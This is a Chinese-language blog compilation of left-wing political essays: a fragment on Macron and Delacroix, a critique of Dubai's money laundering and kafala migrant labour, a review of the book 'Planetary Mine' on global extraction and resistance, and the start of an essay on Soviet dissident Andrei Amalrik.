对工人阶级困境充耳不闻的马克龙，作为法国工具，一直在为企业精英策划的全球社会不平等做着准备，他正在推动人口中的重要社区脱离街头，投入新法西斯主义 Marine Le Pen 的怀抱。他们担心的是民众起义。他们害怕失去自己的权力。如果需要与令人厌恶的新法西斯主义者和煽动者联盟来保持控制，他们就会把后者制造出来。

大公司作为刽子手的残酷日益增长。他们将不惜一切代价，包括大规模谋杀，以巩固权力并积累更多利润。他们被贪婪、蔑视民主、愚蠢地相信自己的财富可以保护自己的狂妄所蒙蔽，他们会把我们带到悬崖上，除非他们被推翻。

Delacroix 是对的。重要的是斗争，而不是结果。那个星期六我应该去巴黎歌剧院前。是的，没有听到人群的哭声；是的，这可能是徒劳的。但正是这场斗争让我们知道人之所以为人。它给了我们尊严。它肯定了面对死亡的生活。正如画家所知道的那样，"这场永恒的战斗"带来了一种奇怪的安慰，它将我们提升到了绝望的程度。

Only the Struggle Matters. Yes, it may be futile. But the fight is what makes us human. It gives us dignity. It affirms life in the face of death. "This eternal combat" brings with it, as the painter knew, a strange kind of consolation that lifts us up to the level of our despair.

广告

赞过：

赞 正在加载……

相关

原文

在迪拜看到这个世界的肮脏 - iyouport

社会反抗和思考

【2021年4月28日存档】一篇非常犀利的文章 …… 不解释，希望您能读懂它的暗示

阿联酋长期以来一直在努力使自己看起来像西方国家，甚至比世界上最好的国家 “还要好”。

全世界上最高的建筑，带着闪闪发光的尖顶，耸立在迪拜这座光彩夺目的城市的海岸线上，宣称着阿联酋人的技术主义热情。街道很干净，附近总有一个棕色或黑色皮肤的人在捡拾任何放置错误的垃圾。在娱乐方面，这里有酒吧和俱乐部，酒水在那里流动，就像纽约、伦敦或任何吸引年轻人和富人聚集的地方一样。炽热的灯光照耀着商场，里面摆满了来自世界各地的商品：售价数百美元的香水、拒绝标价而自成一派的高级时装店、比美国中西部郊区的小房子还要贵的汽车。

迪拜的现代性表现有很多人接受，因为它是在不受约束的富足的包装下打扮出来的。你可以看到西方旅行者一到迪拜脸上就泛起的喜悦之色，他们从一家免税店漫游到下一家免税店，里面堆满了糖果、化妆品和手表等等。在这里，他们可以玩、可以买、可以逃税，可以收集到前所未有的好东西。

不管他们出身的消费市场状况如何，在这里，资本主义统治着他们，把所有的地位象征，所有的小玩意都摆在他们面前，这是他们心中的愿望。

这里有多家苹果店，也有特斯拉经销商。如果你带来了现金 —— 那些腐败的贪官污吏和前独裁者以及王朝统治者们都有大把的现金 —— 你就可以把钱投入这一切，或者投入迪拜具有国际吸引力的房地产市场。

甚至当全世界，尤其是还在浪漫着 “自由民主” 的世界，都已经知道迪拜与现代性的结合是一场闹剧的时候，阿联酋却继续获得免费通行

证。

迪拜老掉牙的罪状清单，以敷衍了事的方式定期增殖。卡内基国际和平基金会（Carnegie Endowment for International Peace）发布的一份报告是其最新的版本之一，该报告认为目前是华盛顿的新领导人“提升和解决对迪拜在促成全球腐败方面所起作用的广泛关注”的潜在机会。

该报告以尽可能友好的语气列举了迪拜的罪恶，指出从阿富汗军阀到尼日利亚的贪官污吏、再到俄罗斯黑帮和欧洲洗钱者，每个人都在那里活动，把钱送进送出迪拜的银行，而这些银行在谈到这些钱的来源时却乐于视而不见。

报道称，迪拜是“污点资金的磁铁”。它的黄金市场繁荣，商业行为严重不透明；它的自由贸易区是洗钱的避风港。值得注意的是，卡内基报告和之前的其他报告都详细介绍了迪拜的黑暗面，但是，并没有质疑阿联酋事实上已经进入了新自由主义现代性的行列。

以报告摘要为例，该报告摘要中只提到了迪拜对其移民劳工的非人道待遇，直到半页才出现这句话：“许多移民工人在迪拜也被当作商品买卖，通过卡法拉制，一个剥削性的移民劳工计划，与人口贩运有一些共同的特点。”

【注：卡法拉制是一种实行于波斯湾阿拉伯国家的外劳保证人制度，用于控制这些国家的外国建筑工人和家佣。 该制度要求所有非技术工人都有一个国内的“保荐者”，通常是他们的雇主，负责他们的签证和法律地位。这种做法受到人权组织的批评，为剥削工人创造了轻松的机会，许多雇主拿走工人的护照，苛待他们的工人，只付出很少薪水而几乎没有法律后果。】

具有讽刺意味的是，对于一份试图揭露腐败的报告来说，这种对数以万计在阿联酋过着奴隶般生活的移民工人的奶声奶气的描述，本身就是一种掩饰。该报告非但没有强调这一制度所造成的令人震惊的虐待行为，反而将这些行为正常化了，认为它们类似于而并非等同于乃至大于人口贩运。

📌 卡内基的报告只是一个例子，说明了发达世界、联合国、和布雷顿森林体系后的金融体系如何习惯于在谈到迪拜等地的强大行为体的不法行为时视而不见。

【注：布雷顿森林体系是1944年7月至1973年间，世界上大部分国家

加入以美元作为国际货币中心的货币体系。 布雷顿森林协定对各国就货币的兑换、国际收支的调节、国际储备资产的构成等问题共同作出的安排所确定的规则、采取的措施及相应组织机构形式的总和。 】

正如该报告所显示的那样，新自由主义加冕 “经济人”（homo economicus）之王的法令，更多关注的是金融犯罪，而不是实际人类的福利。但是，迪拜纸醉金迷的罪恶中最卑鄙的是实际的现代奴隶制。据《黄金之城、奴隶之城》报告的作者尼古拉斯·库珀（Nicholas Cooper）介绍：大多数奴隶被安排在建筑业工作。卡法拉制确保他们与将他们输入该国的雇主保持联系。

上图中这本书在这里下载（有中英两个版本）：https://www.patreon.com/posts/yong-hou-ji-qi-39199047

我从与一些在迪拜机场做清洁工的工人的谈话中了解到，付款完全由这些雇主决定，他们经常 (特别是现在) 不支付或只支付一个月的工资，而不支付下两个月的工资。如果工人确实设法逃离雇主，到其他地方从事非正规工作，他们就会成为 “签证逾期者”，为此阿联酋就会对他们处以巨额罚款，进一步禁止这些人寻求更好的处境。

阿联酋在伪装方面的能力是无止境的，无论是现代性还是艺术或文化的价值（迪拜艺术展是中东地区主要的艺术博览会之一，每年吸引约3万名游客）。高耸入云的哈利法塔和卢浮宫的艺术作品就这样与现代形式的奴隶劳动中 “愉快地” 结合在一起了，而这个地方的阴暗面则被普拉达包和法拉利等其他东西所掩盖。

阿联酋方面认识到对人权概念空洞致敬的力量，这也是其做法从未受到严肃质疑的部分原因。例如，2014年，中东网站 Jadaliyya 曝光了一个可疑的非政府组织，该组织自称是人权组织，但实际上是一个宣传机器，其任务是发布关于人权问题的 “报告”，如虐待农民工。“海湾阿拉伯国家合作委员会” 总部设在日内瓦，但在迪拜 “设有分支机构”。海湾阿拉伯国家合作委员会（IGO）的领导层就包括与阿联酋统治者关系非常友好的官员。

就像迪拜的许多银行打着合法的幌子和外衣，把非法的东西塞进去一样，IGO也制作了纪录片和政策报告。然而，他们并没有强调移民工人或所谓的 “伊斯兰主义者” 的悲惨境遇，也没有强调家政工人遭受酷刑的问题，而是模仿阿联酋政权的宣传，说这些领域的情况 “有所改善”。IGO 的第一部纪录片就试图证明阿联酋司法系统的审判 “公平”，根据该系统，被指控的所谓伊斯兰主义者仅仅因为批评了政府就被监禁长达15年。它还 “驳斥” 了许多关于酷刑和阻止被告获得法

律代表甚至家人探视权利的独立报告。

IGO 的政策报告 “海湾合作委员会的家政工作立法” 误导性地将待定或拟议的立法标榜为 “进展” 的证明。该报告错误地将希望寄托在国际劳工组织等国际框架和机构上，尽管大多数海湾合作委员会国家尚未批准或通过劳工组织《家政工人体面工作公约》。报告的其他部分则混淆了迪拜家政行业仍然不受监管的原因，认为是 “文化观念产生了这种抵触情绪”，而正是这些所谓的文化观念得到了政府的积极推动，以确保该行业永远不会受到监管。

IGO的例子很重要，因为它揭示了空口说瞎话是多么的容易。如果迪拜的银行能够以非法方式输送资金，那么其欺诈性的 “人权组织” 肯定也能做同样的事。毕竟，在当前这个自由主义失望和民粹主义狂热的时代，人权组织，甚至像联合国这样拥有所谓执法权的组织，已经沦落到只能编写一份又一份的报告的地步，而这些报告既不能打动当权者，也不能让那些杀害和奴役他们中最弱势者的政府感到羞愧。

那么，在迪拜，我们足够看到一个完美的现代性表演，被新自由主义的标志所美化。商场、商店、一望无际的免税企业洞窟都在向经济人致敬。买和卖都被解释为 “对自由的承诺”，而自由恰恰意味着参与狂热经济活动的自由。美学进一步增加了可信度，迪拜大都市的天际线被誉为科技成就的终极礼赞。

📌 所有这些都是空洞的，在这些空洞之下是被奴役的工人的尸体，这些工人到死都在劳作，顽固的政府没有为这些工人提供任何社会服务，也没有为他们提供获得公民身份的途径，这些都是没有人关心的小字细节。

迪拜不仅仅是一个阴暗无情的城市王国用欺诈装点颜面的案例，尤其，它是对后自由主义秩序的黑暗而准确的描述，资本主义野蛮地攫取利益，践踏弱者，它所谴责的那些交易渣子却无从拯救。

迪拜，这个后自由主义的死城，对数十万人施以残酷，因为它的统治者意识到，人权、经济和性别平等的价值，都已沦为幌子非政府组织定期制作的漂亮话和政策简报。未来，甚至是后特朗普时代的未来，将出现更多的迪拜。〇

Performing Modernity

原文

外表是骗人的 - iyouport

免费书和纪录片社会反抗和思考

当下的反抗如果继续聚焦于本土的眼下问题，将很难成功

【按】从监视资本主义到气候危机，从剥削奴役到暴力镇压，从严重的不平等到针对“低端人口”的驱逐，从右翼民族主义夺权到新帝国的崛起，从零日漏洞作为武器的跨国销售和网络战雇佣兵，到邪恶监视技术的全球销售和使用、集中营泛滥和民主的衰竭 …… 这个时代的几乎所有标志性灾难都并非任何一个国家的特例，相反，它一旦发生，便在整个星球上蔓延。

这就是为什么对于当下的反抗，如果只针对本土的眼下问题，您将很难取得真正的成功。最好的结果是，您将不得不一遍又一遍地进行相同的战斗，在原地打转；最坏的情况是，任何一场甚至是虚假的胜利，都无法赢得，您的努力只是在加强对手的利益。

如果您的反抗致力于解决问题，您就必需准确抓住问题的根源。

保护主义和民族主义是如何爆发的？移民危机的原因是什么？为什么本土反抗依赖地缘政治竞争关系是错误的？为什么反抗者的跨国联盟比任何时候都更重要？…… 合同工、流民潮、强迫劳动、暴力镇压的日常化、民族冲突频发，这一切的背后是什么？

您将在、也只能在全球视角下看清这些问题。

尤其是中国的反抗者，因为你们处于一个 “要塞部位”。

帝国主义就是全球资本主义赖以生存的方式，这本书的论述再次印证了中国的银河帝国及其对人权的侵犯和对少数族裔的压迫，正是全球资本主义及其政治保护伞的产物。

这就是为什么我们倾向于更多关注工人运动、农民运动、环保运动、数字技术反叛，因为它们可以切中要害 —— 它们重新利用了资本主义现代性所强加的以技术为媒介的相互依赖关系。

直接行动几乎是唯一的方法。

本文中讨论的书籍您可以在这里下载：《Planetary Mine: Territories of Extraction under Late Capitalism》（2020），以及《Expulsions: Brutality and Complexity in the Global Economy》（2014）。

全球化受到来自各方面的攻击。很难确定这种冲突是从什么时候开始的：这个概念以及它所把握的进程，几乎与围绕它所展开的争论同步。

1994年1月1日，北美自由贸易协定生效的日子，也是萨帕塔民族解放军向墨西哥政府宣战的日子；在美国，另类全球化运动在1999年的西雅图之战中爆发；在2005年，巴西阿雷格里港的世界社会论坛达到顶峰，注册人数超过15万人。

【注：世界社会论坛又称社会运动论坛世界峰会，是反全球化运动与另类全球化运动成员的年度聚会。成员们利用此聚会来联合全球活动家、分享与讨论组织战略及互相交换关于世界各地与自身议题的运动资讯。 】

几年后出现了“广场运动”，抗议者占领了从雅典到纽约到开罗的各种公共场所。这些事件与拉美地区反抗自由贸易和美国霸权的整个时代相吻合，最终形成了“粉红潮”，这又预示着左右两派民粹主义在全球范围内的蔓延，虽然它们的诊断结果截然相反，但针对的都是市场民主国家无趣的管理主义。

【注：粉红潮这一概念是 Larry Rohter 首次提出，他在报道2004年乌拉圭总统大选时形容该国候选人塔巴勒·巴斯克斯并不是纯粹的鲜红色左派，而是更加温和的粉红左派。 】

【注：管理主义讲究对权威的服从，因为人们愈是服从，管理起来愈是方便。“要做乖小孩”、“服从为负责之本”等格言皆能代表管理主义的规训。 管理主义旨在增加人们的一致性和集体性，使他们服从权威。 】

而这一切仅仅是个开始。

在经历了社会运动和金融危机的动荡之后，“平地乌托邦”的命运——一个由和平贸易、数字通信和国际机构的筋脉连接起来的全球人类的梦想—— 在仁慈的美帝国的保护下，进入了另一个不确定的阶段。

在多个大陆，由新自由主义培育的右翼民族主义夺取了国家权力。贸

易战、退出多边主义、重构历史性的联盟，接踵而至。当新型冠状病毒在中国出现时，全球一体化已经出现了低谷，然后通过跨国互联的途径四处蔓延。

以无摩擦流通和及时生产为前提的供应链陷入停顿；与此同时，各种意识形态的政治领导人都在哀叹“依赖”，不仅是对中国的依赖，而且是对全球分散化生产本身的依赖，这些生产制造了从表面的（快时尚）到基本的（个人防护设备）的一切。

取而代之的是，他们呼吁“改制”供应链，将生产规模缩减到国内和地区层面，并在经济效率和新的公共卫生紧急需求之间取得平衡。

我们是否正在目睹全球化的黄昏？

在资本主义下，表象总是具有欺骗性。拆解遍布全球的开采、生产、分配和金融的过程将被证明是一项复杂得令人困惑的任务。

这些过程以运输技术（集装箱化、多式联运）和计算技术（人工智能、机器学习、机器人）为中介，安排在不同的经济地理区域（走廊、门户、集群、经济特区），由不断发展的企业间和企业内部关系(外包、分包、垂直整合) 和市场力量形式 (垄断和独占) 构成；最终由国家权力机构促成，国家权力机构提供必要的后勤和监管基础设施，以及不惜一切代价捍卫货物流动的镇压机器。

“全球化的资本主义”近乎于一种矛盾的说法。自其在跨大西洋奴隶贸易和土著人被剥夺的情况下诞生以来，利润的逻辑施加了一种离心力；积累的动力是一种空间上的整和。无论在理论上有什么可能，实际存在的资本主义总是依赖于劳动力和自然资源在全球范围内不均衡的廉价化，在无情的生产祭坛上牺牲遥远地区的生命和生态系统，以及不断驱逐“过剩的”和被过度利用的“低端”人口。

因此，民族主义的退缩是一种幻想。但幻想在政治上可能是强大的：在实践中，“把制造业带回家”的呼声预示着一个严峻的世界，这个世界对移民的管制更加严厉，供应链越来越被国家暴力所保障。

今天左翼的任务是掌握整个世界资本主义的基本全球规模，以及我们转型项目的全球视野。马丁·阿尔沃莱达在《Planetary Mine》中严谨而慷慨地描绘了这种全球性的相互依存关系—— 其残酷的现实和解放的可能性。通过对从智利到中国的无垠采掘区—— 矿山、炼油厂、港口、船舶、发电厂、数据处理中心、以及作为资本物流中心的整个城市—— 的有利位置进行描绘，阿尔沃莱达不仅将边缘拉近中

心，而且填补了我们贫乏的空间词汇。世界体系的边缘远非落后：它们是新的开发技术的所在地，也是底层未来主义的先锋。

零碎的利维坦

「图」

这个行星矿的碎片随处可见。鉴于水管装置、电线、窗户等材料的来源，城市景观是一个“倒置的矿山”：摩天大楼不仅用开采的材料建造，它们本身也是由最初为地下开采发明的照明、通风和电梯装置构成的。这些碎片也存在于“几乎难以察觉的实践和习惯中，…… 编织了日常生活的结构”；稀土、锂、钴、镍和铜是无数电子设备的基本成分。行星矿不仅使我们的浪漫邂逅和日常锻炼成为可能，也使国家监控和劳动纪律的领域得到了极大的扩展。

技术进步是用来提取的产品和工具。正是由于“机器人化和计算机化的飞跃”，采掘领域不断扩大，包括高耸入云的安第斯山脉的山峰，以及更有想象力的海底矿物资源和近地小行星的星外矿藏。

矿物源养活了机器，而机器又能提取更多的矿物。人类的劳动 —— 无论是在矿场和物流中心周围大量涌现的非正规服务部门的低端工作，还是工程师和程序员日益无产阶级化的专业工作—— 都作为技术设备的附属品发挥着作用。

随着拉美和中国之间的贸易量不断增加，自动化的步伐也在加快，2000年至2011年，中国的贸易量增长了13倍以上。其中大部分是由拉美的矿产、大豆、石油和牛肉组成，将这两个地区锁定在一套密集的“社会经济相互依赖关系”中。给大家一个规模感：“Valemax”号从中国运输煤炭到巴西，回程运输铁矿石，是“世界上最大的散货船”，运力达45万载重吨。阿尔沃莱达的描述渲染了一种工业的崇高，同样是“可怕和令人敬畏”，让人想起维多利亚时代的弗兰肯斯坦的怪物和吸血鬼的兽皮书—— 尽管有赛博格的更新，比如机器人化的“巨型推土机”，可以“在高海拔、零能见度、和恶劣天气的条件下作业”。

当然，只有与劳动相结合，机器才会发挥其生动的力量。

自1992年以来，4亿中国农民被强行“非农化”，被安排在工业工厂工作；在太平洋的另一边的美国，农民和土著人也被赶出他们的土地。马克思将这一过程称为“原始积累”：强行将人们从他们的生存手段中分离出来，迫使他们从事雇佣劳动和现金交易。

阶级结构的这些变化并不是平行展开的，它们是有内在联系的。中国工人阶级的再生产取决于对拉美农民的剥夺 —— 以及贪婪的采掘和超级农业所带来的森林砍伐、污染和癌症流行。阿尔沃莱达认为，这种共同的压迫是他们获得解放的共同条件的线索。

中国工人和智利工人之间的共同点比他们与各自的统治阶级之间的共同点要更多。 而且，作为对 “恐中症” 的一个有益的纠正，中国不应该被看作是一个一心想要统治世界的阴谋霸主；相反，借用斯图亚特·霍尔的说法，帝国主义就是全球资本主义赖以生存的方式。在这种解读中，中国的银行和公司在扩大采掘领域中的作用恰恰是这个全球性进程的表现。

【注：斯图亚特·霍尔 (Stuart Hall) 英国文化理论家与社会学家，与理查德·霍加特及雷蒙·威廉斯为现在的现代文化研究中心的建立者之一。 1995年到1997年间担任英国社会学协会会长。 】

从这一行星角度来看，传统的世界体系理论中的 “核心” 和 “外围” 类别并没有映射到以国家为界的单位上。它们反而存在于一个跨尺度重复的分形关系中。

阿尔沃莱达关注的是城市。在智利，这个行星矿场在 “迷茫、干旱、断裂的城市景观” 中展开，北部沙漠地区 “财富与贫困并存”。安托法加斯塔市构成了矿业经济的一个关键节点；其城市空间作为一个基础设施，使采矿供应链中的 “流动、连接和速度” 得以实现。在产品、劳动力和资本无缝流通的背后，是 “港口起重机、货船、火车、卡车和产业工人的疯狂流动”。

城市和工人的存在都是为了服务于已故的加拿大哲学家莫伊谢·波斯顿所说的积累的 “跑步机”。

【注：莫伊谢·波斯顿（Moishe Postone）是加拿大的历史学家，哲学家和政治经济学家。他曾是芝加哥大学历史学教授，在那里他是犹太研究委员会的成员。“跑步机” 在这里也指单调繁重的工作。 】

景观和劳动是紧密联系在一起的：由资本密集型开采及其支持性的物流基础设施所改造的同一建筑环境带来了 “集体劳动者”，这个内部异质的有机体由工程师和家政工人、编码员和卡车司机组成，他们居住在由光鲜的塔楼和污染的棚户区组成的隔离景观中。

货物畅通的另一面是工人面对的无情的不稳定。这种情况既存在于工作中（智利大多数港口工人都是临时合同工），也存在于不安全的城

市住区为主的家庭领域中。将这些 “僵化的空间” 与供应链物流的 “自主机械装置” 缝合在一起的是国家。技术官僚的管制和压制力维持着这个跑步机继续运转。

资本的咽喉

「图」

国家权力为资本主义创造了条件。在智利，奥古斯托·皮诺切特残暴的新自由主义独裁统治时代(1973–1990年)的法律框架将水转化为商品，将国有公司私有化，并建立了采矿特许权制度，以使农民和小业主的土地被征用。在这个过程中，大量的自然财富被转移到资本家手中，为智利所谓的 “经济奇迹” 奠定了基础。

私有财产的创造和市场交换与暴力的 “驱逐逻辑” 并驾齐驱，国家的合法性是基于技术官僚机构在军事暴力领域的体制隔离。但这种武力部署并不仅仅是历史的产物，它是所谓的 “经济自由” 的持续保障。国家和资本在组织上的统一表现是 “对纠察的港口和矿工派遣的警车、释放的水炮和催泪弹”。事实上，矿工反叛 —— 它与弹性化的劳动制度同步产生 —— 构成了官僚机构和私营企业的供应链管理者的主要关注点。正如 Deborah Cowen 所言，自军事化物流起源以来，供应链总是将资本和强制力结合在一起。在 “9–11” 事件后的时代里，这些全球网络受到一种安全逻辑的支配，这种逻辑将工运罢工、所谓的恐怖主义、和海盗行为等同于对货物通过跨国 “走廊” 和 “门户” 快速流动过程中的诸多威胁。

要抵制这样一个庞然大物，更不用说改造它了，是令人生畏的。但阿尔沃莱达这本书从工人、农民和土著人民反剥削、反抢占、和反污染的抗议活动中找到了希望。他认为这种 “平民” 的大众主体不是一个浪漫的、前资本主义的群体，而是一个集合体；一部分是人，一部分是机器，这个反叛的集体重新利用了资本主义现代性所强加的以技术为媒介的相互依赖关系。

资本可能是一个弗兰肯斯坦的怪物，但资本自己的怪物是它所释放的解放主体。当工人和社区举行罢工，破坏基础设施，占领矿井和他们所吞噬的更广阔的领土时，他们主张对人员、商品和利润的流动进行控制。这些行动既是经济的，也是政治的；它们暴露了国家和公司权力的相互交织的整体性。

矿场的斗争超越了狭义上理解的劳工不满。在2006年抗议者占领由几家外国公司经营的埃斯康迪达铜矿期间，工人工会与女权运动联合建

立了一个营地，举行集会，演奏音乐，传授激进的反抗者教育学。

民众政治也超越了矿山本身。在2001年 Pascua Lama 金矿开工后的长期冲突中，直接受影响的农民社区是关键的主角。瓦斯科山谷的居民通过各种农业、土地保护和环境团体动员起来，采取直接行动 —— 包括破坏采矿基础设施 —— 以及组织游行和出席巴里克黄金公司的股东大会，谴责该公司对人民生计和生态系统的威胁。这些行动已被证明是有效的：该矿已有三年未投入运营。反抗组织的工作所取得的成就也许与阻止该矿的开采同样重要：受影响的社区建立了一个跨地方的集体行动者联盟，使他们被疏远的相互依存关系从资本的支配下解放出来。

这些形式的民众力量具有真正的影响力，在关键的节点处减缓了开采主义的发展。复杂性是当代供应链的优势，但也是其脆弱性的来源。弹性和风险交织在一起。供应链的每一个节点都是技术故障、劳工反叛、土著抗议，以及越来越多的气候变化引起的极端天气的潜在地点。这个星球上的矿井使阶级斗争的据点倍增，从港口到矿山，从棚户区到法院，抗议声四处回荡。这种斗争指向资本在不停追求利润的过程中所结合的“人、生态和技术”之间的关系的激进式重新排序。

关于采掘的著作往往关注私人公司、政治压迫和披金戴银的精英世界，或者关注当地社区的基层动员。而这本书则两者兼而有之。阿尔沃莱达对剥削的审问在强度上与他对“未来技术景观的梦想图像”的忠实相匹配。乌托邦在黯淡的当下无处可寻，但其成分却在我们的视线中随处可见。

虽然供应链斗争的地点多种多样，战术也多种多样，但这本书中没有直接涉及的一种可能性是，抓住国家机器的要素，强制调整经济方向，从开采转向社会生态繁荣。这种可能性在这本书以智利为中心的分析中似乎可以忽略不计了。尽管一波又一波的民众起义，最近一次是从去年10月到今年3月初，智利政府已经证明了它在转移和分裂左翼政治力量方面的灵活性。

智利绝非特例，而是全球镇压的模版，这本书应该给所有受压迫者提供战略思考。还是那句话，《要运动，不诉求》。

阿尔沃莱达的国家怀疑论也是他严格理论化的产物，他拒绝接受拉尔夫·米利班德和尼科斯·普兰查斯在1970年代国家辩论中的立场。简单说，前者认为国家是资本的工具，后者则认为国家与统治阶级“相对独立”。与二者形成鲜明对比的是，阿尔沃莱达强调了国家与资本的组织统一性，和全球视野的重要性。国家对统治阶级自主性的主张既

是“虚幻的，又是真实的”；这种矛盾实际上是其合法性力量的条件。他写道，民族国家是世界市场的“等量部分”：是一个整体的一部分，而不是离散的单位。

这句话非常重要 —— 正是为什么我们一直在强调，当下的反抗如果继续聚焦于本土的眼下问题，是很难成功的。

此时此刻

「图」

“行星矿”展望了一个革命的地平线，在这个地平线上，我们所知的雇佣劳动和国家都被废除了。阿尔沃莱达所叙述的反抗运动肯定阻碍了采掘业的发展；然而，如果没有某种形式的制度化，这种微小的胜利仍然是临时性的、预设性的，反抗者所想象的未来将永远被推迟。

在世界其他地方—— 在过去的其他时候—— 左翼政治运动已经夺取了国家权力，并试图改变社会，但成功和激进程度各不相同。这些实验提出了关于如何做到这一点的棘手问题，从议会制路线到社会主义、到双重政权，再到尚未发明的概念，以及每种方法的陷阱。但在一个气候灾难加速、不平等现象惊人、民族暴力频发的世界里，很难想象有一条不经过国家的转型之路。

如果民族国家如阿尔沃莱达所正确地论证的那样，是“其规模是全球性过程的集中体现”，那么它不也因此成为了普遍化的阶级斗争的地形吗？如果资本和国家构成了社会秩序的整体性，那么夺取对国家及其代表、监管、金融和法律机构的控制权，就是在争夺资本对投资、生产和分配的控制权的一种手段。绿色新政就是在这一战略的推动下进行的—— 正如目前在拉丁美洲势头强劲的“生态社会公约”（以及阿尔沃莱达目前关于农业供应链的研究，它明确提出了国家权力和经济规划的问题）。这些转型项目提出，气候正义只有通过议会制之外的斗争和左翼政策制定者之间的关系才能实现。

资本主义是气候危机的虬结根源。绿色资本主义尽管在术语上是完全矛盾的，但它正处于发展的初级阶段。但是，没有国家的干预，经济的生态优化调整是不可能做到的；问题是它将采取什么形式？为谁的利益服务？

在欧盟，官员们正在制定我们可以称之为气候智能型资本主义的纲要，利用公共资金和监管鞭策相结合的方式，推动投资者向绿色产业发展。产业政策的方法是将风险和初始投资社会化，但同时将利润私

有化。这是在世俗停滞时代给资本的礼物 —— 老黄瓜刷绿漆。

生态社会主义的替代方案是什么？阿尔沃莱达有力地反对民族主义，无论是政治还是分析。这是令人信服的。就像《行星矿》中详述的采掘回路一样，风力涡轮机和电动汽车等绿色技术的供应链将可以而且必须跨越国界：制造这些技术的资源在地壳中沉积不均，左翼的承诺应该瞄准全球准入，这意味着优先考虑全球公平分配。广泛的生产网络就是21世纪行使民众权力的战略节点。

从智利土著人对锂矿开采的封锁，到美国特斯拉工厂的劳工组织，全球的社区和工人正在抵制新生的绿色资本主义，并想象着另一种绿色未来。这种抵制是生态社会主义转型的必要条件，但仍是不充分的条件：在避免最严重的气候混乱的十年时间里，国家有能力在此时此刻调整经济活动的方向。公共投资、民主化的金融、严格的法规、公有制和工人所有权、贸易和产业政策，都可以在建设民主化的、低碳的未来中发挥作用。在社会运动、工会和跨国联盟行动者的手中，这些工具可以从垂死的旧世界中塑造出一个新的世界。

从地球上的矿场到全球工厂，未来供应链的组织结构是可以争夺的。与国家权力并肩作战、反对国家权力和争取国家权力的草根斗争，将有助于塑造即将到来的经济秩序。〇

原文

大国如何瓦解 - iYouPort

地缘政治社会反抗和思考

让我猜猜，在读到这个标题时您是否正在脑补另一个 “大国”？您也许没想错，我们之所以制作这篇文章，正是希望通过它透露一些东西 …… 也许是如今的人们尚且没能想到的

「图」

「图」

1991年，莫斯科的抗议者

1980年11月11日，一辆满载作家的汽车在雨中的高速公路上行驶，前往马德里的一次会议。该会议的主题是苏联的人权运动，车内有一些长期从事人权运动的活动家：弗拉基米尔·鲍里索夫（Vladimir Borisov）和维克多·范伯格（Viktor Fainberg），他们两人都在列宁格勒精神病医院遭受了可怕的虐待；鞑靼艺术家 Gyuzel Makudinova，她在西伯利亚流亡多年，和她的丈夫作家安德烈·阿马尔里克（Andrei Amalrik），在被捕和被拘禁一段时间后逃到了西欧。

Amalrik 在驾驶。在距离西班牙首都约40英里的地方，汽车偏离了车道，与一辆迎面而来的卡车相撞。除了 Amalrik 之外，车上的其他人都活了下来，Amalrik 的喉咙被一块金属刺穿，可能是转向柱上的。

在他42岁去世时，Amalrik 当然不是最著名的苏联异见人士。著名异议作家亚历山大·索尔仁尼琴曾出版《古拉格群岛》，获得诺贝尔文学奖，并移民美国。核物理学家安德烈·德米特里耶维奇·萨哈罗夫曾获得诺贝尔和平奖，由于苏联政府拒绝给他出境签证，他被迫缺席授奖。但在被调查者、被监禁者、被流放者的神殿中，**Amalrik** 占据了一个特殊的位置。

从20世纪60年代中期开始，苏联领导人列昂尼德·勃列日涅夫

（Leonid Brezhnev）对作家、历史学家和其他知识分子的一系列高调起诉，激发了该国的异见人士。在西方的许多观察家看来，这场新生的民主运动似乎提供了一条缓和冷战的道路。

1968年的夏天，就在苏联坦克开进布拉格的几周前，《纽约时报》为 Sakharov 的一篇关于 “进步、和平共处和思想自由” 的文章留出了三页版面。Sakharov 说，在核武器时代，西方和苏联别无选择，只能合作以确保人类的生存。正如他所说的，这两个体系已经在见证 “融合”。它们必须学会共处，消除国家间的差异，并采取步骤实现全球治理。

对这一切，Amalrik 泼了一桶冷水。1970年秋天，他设法将自己的短篇手稿偷运出苏联。很快，手稿就出现在伦敦的《调查》杂志上。Amalrik 认为，全球资本主义和苏联式的共产主义并没有趋于一致，事实上是越来越远。甚至共产主义世界本身也有分裂的危险。苏联和中国越来越互不信任对方，似乎正朝着一场灾难性战争的方向发展。（一年前，即1969年，两国曾在共同边界发生小规模冲突，造成重大伤亡）

“但 Sakharov 的真正问题”，Amalrik 写道，“是他没有认识到苏联国家和苏联体系—— 包括国家和共产主义作为一种政治和经济秩序—— 正在走向自我毁灭”。为了表明自己的观点，Amalrik 将自己的文章标题定为 “苏联会活到1984年吗？”

这篇文章是一个受迫害的异议人士为诊断勃列日涅夫时代的早期弊病而进行的斗争，但 Amalrik 最终确定了一种更普遍的政治综合症：一个大国屈服于自我幻想的过程。

到了20世纪60年代，苏联政府已经将一个在列宁或斯大林统治下公民们认为不可能的国家锤炼成了现实。消费品、单户公寓、太空计划、国际体育英雄、横跨全球的航空公司—— 苏联社会的成功充分展示了所有这一切。然而，Amalrik 比当时任何一位思想家都更能把握这样一个事实：回顾过去的国家只会衰败。强大的国家以及其居民，在谈到自己的未来时，往往是先天的保守派。他所说的 “舒适崇拜”—— 在看似稳定的社会中，人们倾向于相信 “‘理性会占上风’、‘一切都会好起来的’”—— 具有诱惑力。因此，当一场终极危机到来时，它很可能是出乎意料的、混乱的和灾难性的，以至于没有人能够完全相信它已经走到了这一步。

Amalrik 还提供了一种分析异化的蓝图。方法是练习以您无法理解的最不可能的结果生活，然后系统地，谨慎地进行从假设到为什么的逆

向工程。关键不是要选择适合特定结论的证据；宁愿让自己摆脱线性变化的假设，也要考虑一下未来的历史学家如何将曾经难以置信的问题改写为不可避免的问题。

从2020年来看，距离该书出版正好50年，Amalrik 的作品有一种诡异的时效性。他关注的是一个大国如何处理多重内部危机—— 国内秩序机构的摇摇欲坠，不守规矩和贪婪的政客的狡猾，系统性非法行为的第一次震荡。他想了解让一个社会解体的黑暗逻辑，以及离散的政治选择如何汇集出世界末日的结果。

他的预言是有时间限制的，结束于1984年，但是，今天这个世界依旧不难听到它幽幽的回音。

要想知道大国的结局，最好研究一下最后一个真正的大国。

「图」

「图」

Andrei Amalrik in 1976

Amalrik 在论文的开头，首先阐述了他对完成这项任务的一些资格。作为一名历史系学生，他曾研究过中世纪公国基辅罗斯，这个公国造就了今天的俄罗斯和乌克兰，他因他的一些发现而遭受打击。

他曾被莫斯科国立大学开除，因为他提出是北欧商人和殖民者，而不是斯拉夫人，才是俄国的真正奠基人—— 这种说法现在被历史学家广泛接受，但在当时，却与苏联官方的历史叙事相悖。

